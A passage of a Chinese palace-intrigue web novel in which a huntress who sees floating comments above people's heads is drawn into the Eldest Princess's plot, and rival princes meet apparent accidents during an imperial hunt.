夏时(???):真是越来越看不懂这些大字了 79☆、第79章 ◎“天命所归”这个说法相当妙◎ 夏时看着长公主头顶那一片“啊啊啊啊啊”,一时陷入了沉默,连行礼都忘了。 这自然不是她头一次在别人头顶上看到字,可这一回的字却是让她完全看不明白。心里正疑惑间,忽然发现那一片“啊”的弹幕有了变化,最末尾多了四个字“女帝陛下”! 夏时看得心里一突,又很快落回了肚子里——从遇到楚棠开始,她就将这些字当成了天意的预示,而现在天意告诉她,长公主能当上女帝,这自然是极好的。别的不说,她和楚棠目前还托庇于对方,若长公主能夺得大位,替楚尚书沉冤昭雪的事大抵就不成问题了。 心念电转间,夏时心里也打定了主意,不管萧晏书带她来是为了什么,她都会全力以赴的帮忙……念头刚落,长公主头顶的字又变了。 这一次弹幕从“啊啊啊啊女帝陛下”,变成了“啊啊啊啊老婆”! 夏时:“???” 夏时:“!!!” 夏时瞳孔地震,甚至于控制不住脸上的震惊,还下意识往后退了一步——老婆什么?什么老婆?她老婆只有楚棠一个人,这可不能瞎写啊! 小猎户被吓得不轻,与此同时,她进入书房之后的一举一动也都落入了长公主和萧晏书眼中。 这是长公主第一次召见夏时,用人之前,她自然会仔细观察考量。只是夏时进门之后忘了向她行礼这事她可以不计较,但对方不仅不低眉垂眼,反而一直盯着她头顶看这一举动,却是显得那样特殊。以至于长公主都忍不住伸手摸了摸头顶的钗环,以为自己有哪里不妥。 萧晏书也跟着往长公主头顶看了一眼,却见她头顶钗环精致美丽,发丝分毫不乱,根本没有哪里不妥的地方。再说就夏时的出身来历,长公主便是当真戴错了钗环,她看得出来吗? 两人对视一眼,萧晏书轻轻摇头,旋即又都将目光落回了夏时身上。 然后她们又目睹了夏时眼睛一亮,显出几分欣喜,接着又大惊失色,甚至吓得后退一步的怪异举动。活像是对方看到了什么旁人看不到的东□□自演了一出默剧。 饶是见多识广的长公主,这一刻都感觉后脖颈有点凉,很想回头看看自己背后是不是藏着只鬼怪。 当然,以萧晏书的视角是能看见什么都没有的。因此她皱了皱眉,终于开口打断了夏时的“表演”:“夏时,殿下当前,你不行礼便罢了,做出这副姿态是为何?” 夏时的脸色还有点白,明显一副收到了惊吓的样子,听到萧晏书这话她下意识伸手一把拽住了对方的衣袖。想要说些什么的样子,可话到嘴边又哽住了——她很早之前就确定了,这些字是只有她自己能看到的,旁人根本看不到。而且要她转述的话,那话她又怎么说得出口?! 长公主和萧晏书都是人精一样的人物,自然看得出夏时之前不是故意作态唬人,现在的欲言又止也不是她不想解释。可两人各自抬头看了看,依旧不明白对方为何这般作态? 萧晏书是个寻根究底的人,或者说面对长公主,她不得不寻根究底。 一把扯回自己的衣袖,文弱的书生这回难得露出些强势,咄咄逼人道:“你要说什么就直接说,这般支支吾吾做什么?公主殿下当前,也没有你隐瞒的余地!” 这话说得夏时心头一沉,终于将视线落在了书案后的女子身上——女子身着宫装,头戴凤钗,五官生得精致美丽,一双凤眼更是威势沉沉。她只是坐在那里,似乎就有种迫人的气势扑面而来,让人面对她时下意识低头,仿佛心头所思所想都无所遁形。 夏时还是头一次见到这般威严的女子,而她心里更清楚公主的身份是何等尊贵,她和楚棠在对方面前便如蝼蚁一般,随手便可覆灭。 出身底层的小猎户,在长公主刻意释放的威势下,心生了怯意。 萧晏书和长公主配合默契,自然看出来了,于是趁机低喝一声:“还不快说。” 夏时心一颤,终于还是指着长公主头顶问萧晏书:“那里有字,很多字,你看不到吗?” 萧晏书顺着她所指看去,却见长公主身后一排书架,上面许多藏书自然都是有字的。不过书册合着,想必夏时也看不到内容,再说又该是怎样的内容,才能把人吓成那样? 长公主也回头看了一眼,却是什么都没有看出来,不由皱了皱眉。 萧晏书只觉眼前事态的发展完全出乎了意料,但事关长公主,她不得不耐下性子继续问道:“什么字?你说的是后面书架上的书吗?” 夏时摇摇头,又变成了那副欲言又止的模样。 这次换长公主开口了,清冷的声音不大,却带着威势:“说!” 夏时心里打鼓,“老婆”这个词她是半个字都不敢出口的,因此只好一闭眼,说道:“就是一片‘啊啊啊啊’,没什么意义的语气词。”顿了顿,又道:“最后接了四个字,女帝陛下。” 此言一出,书房里安静一片,夏时偷偷抬眼一看,正对上两人凌厉的目光。 ******************************************************* 有关于长公主头顶那些字,夏时解释了许久才让两人相信,那是所谓的天命预示。 “我第一次看到人头顶冒字的时候还不识几个字,但当时我就是看懂了。”夏时眉飞色舞的解释:“当时那字就飘在阿棠头顶上,我是看到之后才绕了条街过去找到她的。后来我把她带回了家,现在她果然是我老婆,我们俩就是天作之合,再相配不过了。” 萧晏书和长公主对视一眼,两人表面信了,心里其实将信将疑。毕竟夏时这故事编得挺像那么回事的,而且别院的人和她相处下来,也没说过她是夸夸其谈的性子。 当然,更重要的一点是“天命所归”这个说法相当妙。长公主想要越过一众兄弟夺得帝位,成为本朝第一位女帝,所缺的不正是这点“天命正统”吗? 这片刻间,萧晏书心里便生出了许多念头来,但最后归根结底也只问了夏时一句话:“那些字当真只有你一个人能看见?或者你有没有什么办法,让别人也能看见?” 夏时又瞟了长公主头顶一眼,到现在那些字的颜色已经渐渐淡了,变成了半透明的样子,过不久应该就会消失了。可她都已经将这事告诉了眼前两人,她们看不见,她又能有什么办法?于是只好对正拿着镜子照头顶的长公主说道:“我不知道办法,但或许可以让更多人来看一看?” 长公主顺手就将手里的小铜镜扣在了桌案上,对这个提议不置可否——要是除了夏时还有人能看到这“天命”,早就该有人看到告诉她了。再说就算从前不能现在能,让更多人看到那句“女帝陛下”,也未必就是好事。 沉了沉心神,将这件事暂且压下,长公主转开了话题:“罢了,还是先说说今日的正事吧。” 她说着,目光扫了萧晏书一眼,后者也不知夏时怎么就稀里糊涂通过了长公主的考较。不过长公主既然发了话,她自然主动站出来说道:“时已入夏,再过不久陛下将往行宫避暑。按照惯例,届时百官和皇子公主将会在鸣鹤山一起行猎。” 夏时一听行猎两字眼睛就亮了,这可是她的老本行,当下拍胸脯保证:“我最擅狩猎,有我在,肯定能帮长公主收获满满。” 然而萧晏书听到这话却是轻笑了一声,笑得还有点古怪:“不,不是让你去狩猎的,公主府不缺会打猎的侍卫。”说着顿了顿,声音忽的压低:“若要你去杀人,你会不会?” 夏时闻言一滞,她当然会杀人,当初在云雾山就利用地形坑死了一群死士,后来庆阳城外也手刃过几个刺客。不过显然,能让长公主如此郑重其事交代她去杀的人,不会是什么普通人物。只是公主府不缺会打猎的人,难道就会缺杀人的人吗? 这话夏时没有直白的问出口,但她看向萧晏书的眼神却写得明明白白。 萧晏书既然开了口,自然就没什么好隐瞒下去的,更不怕夏时会背叛:“不是要你光明正大的杀,也不是要你冒着生命危险去刺杀,是让你借助环境,让人死得不明不白却又理所当然。” 夏时能做到这一点吗?答案是能!再没有比生长在山林间的猎户更懂得利用环境猎杀的了。而且她路子够野,一般情况下根本不会被人发现破绽,事发后更找不到她头上。 只是夏时不明白,既然目的是杀人,这么费劲做什么? 萧晏书看了长公主一眼,却见她闭目合眼,不置一词。于是想了想干脆透了底:“当初五殿下受人之托,欲替楚姑娘父亲翻案,结果受其连累被人暗害在猎场之上,对外还只道是场意外,事情了结得不明不白。殿下如今打算,也不过是以彼之道还施彼身,让罪魁祸首给五殿下赔命罢了。” 这个理由让夏时没办法拒绝,因为牵扯上了楚棠,五皇子的事算是楚家欠他的。如今她有机会替楚棠还了这份情谊,自然也该责无旁贷,于是干脆的答应了下来。 80☆、第80章 ◎小心遇上步了五弟后尘◎ “轰隆隆”的马蹄声踏破了山林的平静,惊起一片鸟雀。 鹤鸣山上,今日热闹非凡,又到了一年一度皇帝率领群臣来避暑狩猎的日子。哪怕一年前就在这片猎场上,皇帝失去了他唯一的嫡子,也没耽误他今年依旧前来,并且心情不错。 老皇帝今年刚过五旬,不过或许是操心太多的缘故,他看上去有几分老态,连须发都白了大半。好在无病无灾,尚能撑出几分气势——每年猎场的第一支箭都是老皇帝亲自射出来的,以此彰显他的武力犹在,尚未到垂垂老矣的时候。 今年也是一样,随着老皇帝一箭射中逃跑的鹿,四下里顿时响起了一片欢呼叫好声。如此热闹捧场,也哄得老皇帝开怀不已,大笑过后正式宣布狩猎开始。 当然,如果老皇帝有读心术的话,就能听见自己那一群叫好的好大儿心头的不以为然——从年轻时开始,老皇帝便最喜欢狩猎,可如今他已经猎不到虎豹,甚至连林中驰骋的野鹿也猎不到,只能射猎场驯养好的鹿。这哪里还有什么威势?分明就是一只衰老的猛虎,想要最后逞一逞威风。 几个皇子对视一眼,都能看到彼此眼中勃勃的野心。 旋即,一人策马出现在了他们旁边,几人的目光又全都转了过去。 二皇子扫了眼长公主身后的侍卫,嘴角扬起一抹轻蔑的笑:“怎么,五弟没了,安平也想进猎场逛一逛?那你带这些人可不够,这猎场里可有虎豹出没,小心遇上步了五弟后尘。” 长公主冷冷斜睨他一眼,并不接话,只一抖缰绳喊了声“驾”,便带着侍卫进了猎场。 二皇子讨了个没趣,但也不将长公主的态度放在眼里——这人是有些手段,可归根结底也是个女郎,狩猎方面哪里比得过他们?到时候猎些兔子野鸡回来,说不定还全靠侍卫帮忙。要是她带只老虎黑熊回来,那就更妙了,反正不会有人信那是她亲自猎的。 皇子们大多都是这样想的,因此今日难得没有同仇敌忾,将长公主当成目标。彼此再一次对视的时候,空气中仿佛有火花炸开,气氛一触即发。 当然,就算要争,也不是在这里。 几个皇子心知肚明,也懒得放什么狠话,彼此间递过一个眼神厮杀,便纷纷带领着各自的下属策马离去,转头就都入了山林。 …… 老皇帝喜好狩猎,因此常有人投其所好,过往也多得是借此晋升的先例。 早在皇子公主们交锋之前,大批人马就已经冲入了山林,长公主带着人进入山林时甚至已经算是有些迟了。所过之地,地面上尽是被马踏过的痕迹。 入林之后行过一段,确定猎场外的人再也看不见,长公主便勒停了马儿,身后队伍随之停下。 夏时是唯一一个策马上前的人。 长公主看她一眼,问道:“都记下了吗?” 夏时点头,从前她自然是没有机会见到皇子的,便趁着刚才那个机会将人都认了个清楚。 长公主于是抖起缰绳,再次策马前行,只丢下句:“那就去吧。” 行猎的队伍跟随她而去,这次唯一不动的人变成了夏时。她甚至没有骑马,将马儿交给了侍卫一同牵走,独自站在原地目送一行人离去。 很快,山林外再次传来了“踏踏”的马蹄声,夏时知道那是剩下的皇子入场了。她左右看了看,旋即攀爬上一旁的大树,动作灵敏得仿佛一只猿猴。以至于几位皇子带人冲入山林时,都来不及发现她,陆陆续续从她脚下路过,策马跑入了山林深处。 夏时也没急着追,她目送着这些人陆续远去,只将目标的去向记在了脑海里。 ********************************************************* 鹤鸣山距离京城足有二百余里,远离京师繁华的同时,因为特殊的地理环境夏日尤为清凉。于是太宗皇帝下令在此建立了行宫,又因此处远离城镇少有人烟,大片的山林成为了天然的猎场。之后的几位皇帝有的喜欢跑马,有的喜欢狩猎,甚至就连阅兵这里也有足够的地方施展。 当然,有好处就有坏处,好处是这里的猎场不必花费太多钱财和心力管理。坏处则是缺少管理,鹤鸣山上的猎物大多野生野长,野性难驯,每年都会发生几起意外。 不过二皇子是不担心这些的,因为他本身就是皇子之中武力最强的一个,而且他深知君子不立危墙之下的道理,每次踏足险地都会带上足够的人手——猎场外他还笑话长公主带的人多,实际上他自己带的人也不比长公主少,而且个个都是好手。 一群擅长狩猎的老手踏入了山林,还想要在皇帝面前露脸讨喜,目标自然不会是寻常的猎物。 和其余皇子分开之后,二皇子策马行在队伍最前,一开始便目标明确的下令道:“走,进深山,这次本王要猎只老虎给父皇做垫子!” 随行的人齐声应和,一时间也是气势高涨,纷纷策马跟了上去。 鹤鸣山虽比不上云雾山连绵广阔,但占地也并不小,外围有行宫的缘故,靠近的野兽都会被官兵驱逐。久而久之,那些真正的猛兽便都进了深山。而进山狩猎的人也都知道规矩,闲逛玩耍就在外围,真正要和人比试就必得进深山才行。 二皇子一行人进猎场进得迟,但不妨碍他带着人足够气势,一路所经之处先行者纷纷避让。更有甚者直接调转了方向,不去与他争。 如是跑了大半个时辰,一行人也终于进入了深山。 狩猎这种事,也不是你想猎,猎物就会出现在眼前等你射的。就像夏时当初猎鹿,就不得不在深山里蹲守,短则一两日长则三五天,才能得偿所愿。 可显然,老皇帝不可能在猎场外等个三五天,就为了等他的好大儿给他带张虎皮垫子回去。好在二皇子经验丰富也早有准备,队伍里很快就有擅长寻找猎物踪迹的人下了马,开始寻找起来。而期间二皇子也没闲着,就带着人在附近顺手打些猎物挂在马后,也不让最后的收获显得太过单薄。 几个老手约莫找了一两个时辰,在二皇子一行人已经收获满满的时候,终于有人上前禀报:“殿下,找到了,就在前方水源不远,有老虎活动的痕迹。” 二皇子闻言眼睛一亮,立刻下令道:“走,去看看!” 这么快找到目标当然不是巧合,事实上早在老皇帝下令前来避暑之前,几个皇子就已经各自派了人过来探查情况。二皇子的人早就探知这附近有老虎活动,他才会一开始就放言要虎皮。只不过老虎是活的,也会跑,所以才会需要人再次追踪。 所幸二皇子带来的人本事还是不错的,一行人放轻了动作敢去水源,果然瞧见一只斑斓猛虎正在溪水边小憩。看样子是过来饮水,顺便睡一觉的。 二皇子目光在那老虎身上扫过,却见它体型健壮皮毛鲜亮,正是一只壮年雄虎——这很不错,要是一只衰老的猛虎,他还真不敢把虎皮送给老皇帝,免得对方以为他在内涵些什么。 见目标没有差错,二皇子越发兴奋起来,摩拳擦掌一番冲身边人伸手:“弓来。” 侍从闻言立刻将二皇子的弓递了过去,他也不愧是皇子之中武力最强的,用的竟是三石弓。寻常人拉都拉不开的大弓,落在他手上轻轻巧巧就被拉得如满月一般。 二皇子的手很稳,他开弓搭箭,微眯着眼瞄准了原处尚未察觉到危险,仍在小憩的猛虎。 可就在他即将松手的前一刻,林中忽然传出一声怪异的鸟叫。那叫声奇怪又尖锐,闭眼小憩的猛虎都被惊动,二皇子也被惊了一下,手中一松,箭矢破空而去。 许是察觉到了这突如其来的危险,趴卧着的老虎猛地跳了起来,千钧一发之际那支力道十足的箭矢擦着它的爪子射了过去,牢牢钉在了溪水边的泥土里。 猛虎或许不认识人类所用的箭矢,但那支箭带给它的威胁它却十分清楚。再加上身为百兽之王的威严被挑衅,老虎当即仰头发出一声怒吼。 虎啸声穿透山林,不提远处的马儿被惊得连连嘶鸣,几乎要挣脱侍卫的牵引逃走。就连进出射出那一箭的猎人,也被这一声虎啸震得心头一颤。但紧接着便是不可抑制的怒火——区区一只畜生,居然还敢冲他咆哮,这是在挑衅谁呢? 二皇子当即从藏身之处跳了出来,带着些恼羞成怒的冲身后侍从下令:“都给我上,直接围死它!”说完顿了顿,又想起了什么,补充一句:“都小心些皮子,弄破了就不好献给父皇了。” 这要求多少有些强人所难,但众人却都拿起武器,干脆的领命冲了出去。 原因无他,二皇子既然打定主意要来猎虎,自然是带足了人手的,这些侍从不说个个力能搏虎,但这么多人一起围杀只老虎还是不成问题的。 事实也是如此,这些人里没有一个面对猛虎就心生胆怯的。有那艺高人胆大还想在二皇子跟前卖弄的,甚至连武器也不拿,等到老虎被围之后就这样赤手空拳的冲了上去。接着“砰砰”几拳下去,威风凛凛的老虎也被他捶得头晕眼花,想要挣扎反击,还有无数人牵制阻拦。 就这样,老虎憋憋屈屈被一群人围了半天,终于被捶打去了半条命。 二皇子原本只站在外围看着,直到这时像是才想起自己是要亲手给老皇帝猎虎的。于是他叫开了打虎的猛士,亲自拎着拳头走了上去,打算了结这只老虎的命,拿下这个猎物。 80-90 81☆、第81章 ◎淡淡的粉色不甚明显,像是血水被冲淡了◎ 二皇子有言在先,想要完整的虎皮,侍从们动手自然也有分寸。可饶是如此,一二十个大汉围着老虎一顿狠打,也让这百兽之王招架不住,到后来倒在地上奄奄一息,嘴角都吐着血沫,仿佛距离真正断气也就是个时间问题了。 这种情况下,二皇子想要上前亲自动手,自然是不会有人劝的。也不敢劝,毕竟二皇子武力不差的同时,脾气也暴躁,一言不合说不定他就不去打虎,改打自己了。 侍从们识趣的停了手,让开一条路给二皇子靠近,还有人递来武器给他。 只是二皇子看都没看一眼,他目光落在那赤手空拳就敢打虎的猛士身上,意味不言自明——既然旁人敢赤手空拳打虎,难道他就不敢了吗? 跟在二皇子身边的侍从也都是人精,立刻领会了他的意思,有人上前一把扯走了打虎猛士,将最方便动手的位置让给了二皇子。 当然,这些人也没有放松警惕,察觉到老虎微微抬头,立刻就有人一棍子砸在了虎头上,生生将它又打倒在地吐了口血,这回看上去连抬头的力气都没了。 二皇子见状皱了下眉,摆摆手示意其他人退下,不必再打了。 侍从们估摸着老虎确实也没有了挣扎的力气,便听话的稍稍后退,看着二皇子拎着拳头就上了。 二皇子生得高大健壮,但与猛虎相比自然是比不过的,径自站在虎头前捶打显得太危险,他便占了之前打虎猛士的位置,干脆跨坐在老虎身上,一手拎着老虎的后颈皮,一手重重往虎头砸——凭着他能开三石弓的力气,这奄奄一息的老虎根本扛不住几拳,很快就能彻底咽气了。 所有人心里都有数,二皇子第一拳砸下去的时候,伴随着老虎的哀嚎,众人也跟着齐声叫好。只是他们都太过兴奋了,并没有看到奄奄一息的老虎,眼睛忽然红了。 或者就算有人看到了,也会不以为意,以为是被二皇子那一拳打的。 百兽之王在自己拳头下哀嚎的感觉有些奇妙,相比起远距离射杀,这样近距离的虐杀反而更能激起人的凶性。二皇子脾气本就暴躁,拳下见了血之后,自然更加兴奋。他一拳接一拳的往下捶打,直打得老虎哀嚎声越来越小,仿佛头骨都要被他捶得凹陷下去。 可就在所有人以为事成定局的这一刻,二皇子忽觉脑后生风,像是有条鞭子忽然冲着他身后抽来。可打虎打得正兴奋的他根本来不及闪躲,下一秒便觉一股剧痛从脑后袭来。 二皇子被虎尾抽中,眼前猛的一黑,身体不受控制的向前扑倒。 侍从们这时才反应过来,赶忙上前阻止。可还是有些迟了,动作最快的侍卫刚将手中的长矛刺出去,一招穿过虎口将老虎钉死在地上,老虎垂死挣扎的一扑也堪堪用锋利的虎牙划破了二皇子的脖颈……没来得及咬穿,但也划破了好长一道口子,大蓬的鲜血喷涌而出。 所有人都被这变故惊得大惊失色,众人七手八脚的把二皇子从虎口下救出,又七手八脚的帮他堵伤口伤药。可这似乎没什么用,虎牙划破了动脉,大量的鲜血根本堵不住,伤药更是撒上就会被血冲走。 一群人吓得脸上惨白惨白的,一边喊着“殿下”,一边努力堵住伤口试图将人送回营地求助。 只可惜,他们进山太深,想要赶回营地又岂是一时半会儿能做到的。 ************************************************************* 二皇子发生意外的同时,六皇子正带着人在相邻不远的另一处山林中狩猎。 六皇子今年不过十七,去岁才得到老皇帝的首肯上朝听政,再加上生母不显,算是一众成年皇子中年纪最小势力最弱的一个。不过他野心可不小,又深知自己的劣势,于是早在听政前就暗地里投靠了二皇子。明面上听皇兄号令,私下里偷偷侵蚀二皇子势力。 当然,他做得巧妙低调,二皇子至今没发现这挖墙脚的内奸,还真将他当成了好弟弟,平日里多有照拂不说,还许诺登基后必定委以重用。 这种情况下,二皇子已经提前宣告要猎虎,六皇子当然不会贸然去抢对方的风头。 反正他还年轻,父皇看着虽然老了,但也还没老到要死的地步。六皇子自觉还有的是时间可以谋划可以等,这一次两次的狩猎头筹,他是真没必要去抢——抢到了也没什么好处,早早暴露野心只会引来哥哥们的针对,说不定什么时候就和老五一样死得不明不白了。 于是六皇子装模作样进了深山,却并没有特意去寻什么猛兽之类的猎杀,反而带着一群人在山林中溜溜达达。一会儿射只野鸡,一会儿抓只兔子,半天下来最好的猎物也不过是只獐子。 六皇子一点不见失落,还与身旁的侍从笑言:“等晚上回去就把这獐子烤了,也算吃个新鲜。” 侍从们见主子不在意收获,自然也更加轻松,陪着说笑闲逛,倒不像是来狩猎的,更像是来骑马游玩的——这时候山中游玩其实还不错,山外酷暑难耐,山中却还清凉。一行人在林中跑了大半天,连汗都没出多少,也是十分自在了。 一行人又在林中逛了一阵,眼看着天色不早了,便有人提议说该用午饭了。 进山狩猎一跑就是一天,众人自然不会毫无准备,每支队伍都是带了干粮在身上的。只是别人忙着狩猎,只能啃干粮节省时间,六皇子一行却不然。 有人提出该用膳,有人便站出来说道:“属下最擅烤肉,今日也将调料带了来,不如就献丑给殿下烤只兔子,也比啃那硬邦邦的干粮要好。” 立刻便有人附和:“就是就是,新鲜的烤肉总比干粮好,那干粮揣一早上都变味儿了。” 六皇子闻言一笑,他对外的形象就是温和好脾气,这时自然也不拒绝:“也行,出来玩总要尽兴。那就寻个水源,到时候多烤些猎物,咱们一起吃。” 侍从们齐声欢呼,各个兴致高涨。他们虽不如二皇子带的人勇猛擅猎,但能跟在六皇子身边自然也是有些本事的,不多一会儿就寻到了水源。 巧合的是六皇子等人寻到的水源,正好在二皇子等人猎虎的那条小溪下游。 不过这也没什么干系,一群人很快在溪流边寻到了个视野开阔还适合生火的地方。几个侍从收拾好地方供六皇子安坐赏景,几个侍卫拎着兔子野鸡去溪水边处理,还有人去周围捡拾柴火准备生火烤肉。众人忙而不乱,倒是好一派悠闲景象。 六皇子见状也不打扰众人忙碌,自顾坐在侍从们为他找来的一块干净大石上,一边享受着山间习习凉风,一边眺望山林景色。 不多时,侍从们就手脚麻利的收拾好了猎物,十来只野鸡野兔很快就被架上了火堆。 生火之前还好,周遭被山风吹着还有几分凉意,但这火一烧周围一下子就热了起来。饶是六皇子坐得远,很快也感觉到了一股热意随风扑来,额头上不免生出一层薄汗。 他掏出帕子擦了擦,但总觉得不够爽利,尤其听到旁边就是潺潺流水声,脑海中就更不免想到溪水的清凉。于是也没多想,便自顾起身去了溪水边,一眼看去果然清澈透亮,侍从们处理猎物弄脏的水流早就被冲刷去了下游。于是他满意的蹲下身去,掬了捧水扑在面上。 溪水清凉,刚生起的燥热瞬间就被扑灭,六皇子*不由露出了几分惬意来。正好那边的肉也没烤好,再回去也是热得慌,他干脆就待在了溪水边,有一下没一下的撩着水。 手凉了,身上也就不觉得那样热了。 只是六皇子撩水撩着撩着,忽然就发现白皙指间流淌而过的水流颜色有些不对——淡淡的粉色不甚明显,像是血水被冲淡了。 这个想法刚从脑海里冒出来,六皇子就嫌弃的皱了皱眉,同时也将手从溪水中收了回来。 他并没有多想,只以为是有人在溪水上游处理猎物,就想他的侍从刚才在溪边那样,弄得整条溪水的颜色都变红了。不过这溪水流速挺快,不一会儿功夫就将血水冲散了。 六皇子心知这不是什么大事,但也被败了性子,所幸将手擦干转道回去了。 侍从们的动作很快,之前主动请命那人也没说大话,烤肉抹上他自制的香料没一会儿,空气中就有浓浓的香气弥漫开来。饶是六皇子吃惯了山珍海味,闻着这烤肉的浓香,也不免生出几分食欲来。 他只往火堆上瞥了一眼,立刻便有机灵的侍从上前,将烤熟的肉片了下来递到他面前:“殿下,这肉已经熟了,您且尝尝滋味儿如何,看看陈二他有没有说大话。” 六皇子闻言一笑,还没吃烤肉就先捧场道:“应是不差的,这滋味儿闻着就已经很香了。” 说话间,他接过了烤肉,正要取一块送进嘴里,忽然听到近旁传来一声惊呼。 六皇子手一抖,烤肉就掉在了地上,还没来得及为此惋惜,就听见惊呼声接连不断响起。然后四散开的侍从飞快向他围拢过来,不过几息便将他重重保护起来。 又过几息,六皇子才终于听到了侍从的禀报——他们被狼群包围了! 82☆、第82章 ◎也许有,也许没有,她不记得了◎ 长公主和六皇子的想法一样,并没有打算在这场狩猎中去夺什么头筹。这倒不是为了避二皇子锋芒,而是她身为公主,去抢这头筹并没有什么意义——皇帝不会在意,百官也不对觉得她狩猎压过了诸皇子,能力就胜过对方,更能担当大任。 既然如此,长公主和六皇子的作为也就相差无几了。同样是带着人在山林中闲逛,顺手打些猎物不至于空手而归,她甚至都没踏足深山。 饶是这般,半下午的时候众人的马背后也已经挂满了猎物。 夏时就是在这时候回来的,并且她不是空手而归,手里甚至还抓了只皮毛漂亮的红狐当做收获——这只狐狸确实也是一行人所获猎物中最珍贵的了,其他什么兔子野鸡之流的,根本没办法跟这只狐狸比较。不知道的人见了,还以为她是奉了长公主之命,特地出去捕猎的呢。 尤其夏时回来后的作为更印证了众人的猜测,只见她走到长公主跟前,行过礼后提起了手里还活蹦乱跳的狐狸:“殿下,属下幸不辱命。” 长公主闻言目光自然而然落在了狐狸身上,她看得仔细,便也瞧见那狐狸果然一身好皮子,浑身皮毛火红,只有尾巴尖一点白,看着漂亮极了——猎物的珍贵程度不仅是要看其凶猛,外表也十分重要。同样的狐狸,杂毛的和这般皮毛漂亮的,显然就没什么可比性。 于是在众人看来,就是长公主十分满意这只狐狸,甚至试图伸手去碰狐狸脑袋。可惜那红狐虽然被夏时牢牢抓住,但也是野性未驯,一仰头险些咬着长公主指尖。 天潢贵胄的长公主收手及时,但也因此失了兴致,收回手淡淡点头:“不错,归队吧。” 夏时也没说什么,把狐狸一捆挂回自己的马背上,奔波半日跑得腿都酸了,这才终于骑回了自己的马。帮她牵马的侍卫见她满头的汗,还不禁感慨一句:“活捉这只狐狸,可是费了你不少事吧?” 其实没有。捉住这只狐狸纯属巧合,是夏时回来的路上碰巧遇上的。 不过这实话当然不能说,所以夏时抹了把头上的汗,诚恳点头:“自然,光是找这么只漂亮狐狸都花了我半天时间,又追着跑了两座山,腿都给我跑软了。” 侍卫信了,佩服的同时也不免感叹:“该骑着马去追的。” 夏时顺势接话:“骑马动静就太大了,这小东西机灵着呢,早跑没影了。” 侍卫又信了,于是不再多问。更重要的是,长公主一行已经在猎场中耗了大半日,如今又得了足以交差的好猎物,当即不再浪费时间,长公主便下令回营地了。 他们一行人入林本就不算太深,决定回返之后只用了半个时辰不到,便重新回到了营地。 ****************************************************** 鹤鸣山狩猎向来是老皇帝喜爱的活动,哪怕他如今年老已经不适合亲自入林狩猎了,但在猎场外与众臣说说笑笑吃吃喝喝,也总是要待上一整天的。 因着这个惯例,想要崭露头角的人都会在猎场中拼尽全力,不到日落绝不回返。相反那些没有争斗之心的,甚至只是将这场狩猎当玩乐的人则要自由许多。不少人只是进入猎场逛上两圈,用不到一个时辰就回返了,然后待在营地里好吃好喝好不自在。 如此,长公主一行人下午时方归,已经不算早了,甚至入猎场的人已有大半都在之前返回。 不过这事也得看是和谁比较,与其他人比长公主回来得自然算迟,可在诸皇子公主中,她却是回来最早的一个——老皇帝只许成年的皇子公主进入猎场,未成年的他都没带来。而其他公主也没有长公主这样的争比之心,还嫌狩猎劳累出汗,索性连猎场都没进。 于是长公主的回归就显得特殊了些,一行人甫一回到营地,立刻就引得不少人侧目。还有人窃窃私语,笑言长公主再是强悍,在狩猎方面总是比不过男儿的。 有只言片语甚至飘到了长公主耳中,但她丝毫不为所动,连半分目光都没给那些人。 下了马,让侍从们带上猎物,长公主扬起笑容上前面君:“父皇,儿臣回来了。儿臣不擅狩猎,只得了这些猎物,比不过皇兄皇弟,便只好讨巧占个先了。” 老皇帝自然也主意到了长公主的回归,笑着点头:“不错,有这些,晚间可以加餐了。” 因不喜皇后的缘故,老皇帝连带着一双嫡出儿女也不甚喜欢。早些年百官劝他立太子他就不乐意立嫡出的五皇子,甚至宁愿给女儿加封长公主也没松口立太子。可再多的不喜,五皇子到底也是他儿子,去岁死得不明不白,到底也让他生出了几分怜惜。 当然,五皇子已经死了,皇帝有再多的怜惜也没用,于是便稍稍移情,终于对长公主有了好脸色——长公主也是抓住了这点机会,否则朝堂哪里会有她的立足之地。 今日的长公主同样抓住了这个机会,笑着凑趣道:“那儿臣亲自动手,定烤了美味来孝敬父皇。” 老皇帝点点头,正要再说两句来完成这场父慈女孝,耳边却忽然传来一阵激烈的马蹄声,像是有数十上百匹马儿正从林中狂奔而来。 这又不是一开始急着入场狩猎,谁会在回来时闹出这样大的动静? 事出反常必有妖,众人心头顿时一凛,纷纷将目光投了过去,包括老皇帝也没忍住回头。 少倾,果然见一群骑士从林中狂奔而出,还不待众人看清身份,就听有人大声喊道:“御医,御医,二皇子遇袭,快让御医来救命!” 众人一听“救命”两字,原本还想上前凑热闹的,这时却是纷纷止步,生怕走得近了惹上一身骚。有人看着眼前混乱场面,脑海中蓦地生出了一股熟悉感——就在去岁,也是此处,一群侍从护送着五皇子回来求医,也是这样喊的救命。 那人后背忽的就生出了一层冷汗,去岁五皇子没能等到御医,今年二皇子不会也…… 他不敢再想下去,只往人群里钻了钻,然后远远看着事态发展。 猎场外当然是有御医候命的,毕竟今日进入猎场的人除了那些侍从,个个非富即贵。而打猎又是一种危险的活动,坠马的、被猎物反伤的、不甚被流矢射中的,都算是常见的意外。这种情况下当然需要御医待命,甚至今日在此之前,他们也已经救治过好几个人了。 此时听到有人喊二皇子遇袭,御医们更是不敢耽搁,提着药箱便飞快跑了上去。众御医都已经做好了急救的准备,可等人将二皇子放下,他们一看却是齐齐顿住了。 那浑身是血的侍从还在喊:“愣着做什么,快救人啊!” 御医们你看看我,我看看你,只觉口中干涩心头泛苦——就知道来猎场不是什么好差事,可谁叫他们倒霉呢,抽签输了,出行前千求万求结果还是出了事。 终于,在同僚们的目光推攘之下,一个御医站了出来。他看了看二皇子那张惨白得不见半点血色的脸,再看看他身上被鲜血浸透的衣裳,还是嗓音干涩的开了口:“这,救,救不了了,二殿下他,他血都流干了啊……” 侍从闻言浑身颤抖起来,根本不敢去试二皇子鼻息。或许早在看清二皇子脸色时,他就知道人已经死了,可这样的大罪他又怎么承担得起? 于是侍从疯了一把拽过御医,将人拉扯到二皇子面前:“救人,你不救他,二殿下就是你害死的!” 御医哪里敢认,连滚带爬的退开了。一抬头瞧见老皇帝不知什么时候已经在长公主的搀扶下走了过来,于是忙跪到他跟前,可又不敢多说什么,怕死了儿子的老皇帝一个发怒,自己全家都要去给二皇子陪葬。 可即便御医不开口,老皇帝眼没瞎耳没聋,自然看明白发生什么了。 长公主只感觉扶着的那只胳膊颤抖起来,身边人浑身紧绷得像是下一刻就要承受不住晕厥过去……她微微垂眸,思绪也不由回到了去岁,五皇子浑身是血躺在地上的时候,身边的君父是怎样的神情呢?他也是这般颤抖,这般伤心吗?也许有,也许没有,她不记得了。 